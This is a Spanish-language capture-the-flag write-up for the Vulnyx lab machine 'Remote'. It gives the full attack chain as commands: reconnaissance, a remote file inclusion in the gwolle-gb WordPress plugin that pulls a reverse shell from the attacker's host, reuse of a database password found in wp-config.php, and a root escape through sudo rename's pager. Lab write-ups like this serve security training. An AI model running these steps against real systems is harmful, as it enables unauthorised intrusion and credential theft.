Write-up: Máquina Remote (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.62
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.62


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.62 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 80.

Comprobamos que es lo que corre por el puerto 80.


A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.62 -w /usr/share/seclists/Discovery/Web-Content/Director-list-2.3-big.txt


Encontramos el directorio wordpress.

Accedemos a el.


El contenido no carga correctamente ya que las hojas de estilo apuntan a un dominio, abrimos el inspector del navegador haber si lo encontramos.


Encontramos el dominio remote.nyx.

Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts



A continuación, con la herramienta wpscan enumeramos por usuarios y plugins, para ello ejecutamos el siguiente comando:

$ wpscan --url http://remote.nyx/wordpress --enumerate u,p --plugins-detection mixed


Y encontramos el plugin gwolle-gb en su version 1.5.3 y el usuario tiago.

Hacemos una busqueda por internet a ver si existe algún exploit para esta versión de este plugin.


Encontramos este exploit, siendo esta versión vulnerable a Remote File Inclusion (RFI).

A continuacion, nos creamos una reverse shell, para ello ejecutamos el siguiente comando:

$ nano wp-load.php


Nos levantamos un servidor HTTP en Python, para ello ejecutamos el siguiente comando:

$ python3 -m http.server 80

En nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Con curl lanzamos una petición al servidor web, para ello ejecutamos el siguiente comando:

$ curl -sX GET "http://remote.nyx/wordpress/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.0.2.4/"


Y obtenemos una shell como www-data.

A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Revisamos el archivo wp-config.php.

Obtenemos la contraseña WPr00t3d123!.

Nos cambiamos al usuario tiago, para ello ejecutamos el siguiente comando:

$ su tiago


Introducimos la contraña obtenida anteriormente.

¡¡¡Somos tiago!!!.

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l

Nos encontramos con el binario rename que lo podemos ejecutar como el usuario root, revisando la ayuda de este binario encuentro que existe el parametro -m o --man para revisar la documentacion de este binario en modo paginated permitiendonos escapar una shell como el usuario root, para ello lo ejecutamos de la siguiente manera:

$ sudo -u root /usr/bin/rename -m
!/bin/bash -i


¡¡¡Ya somos root!!!.

Ya podemos leer las flags de user root.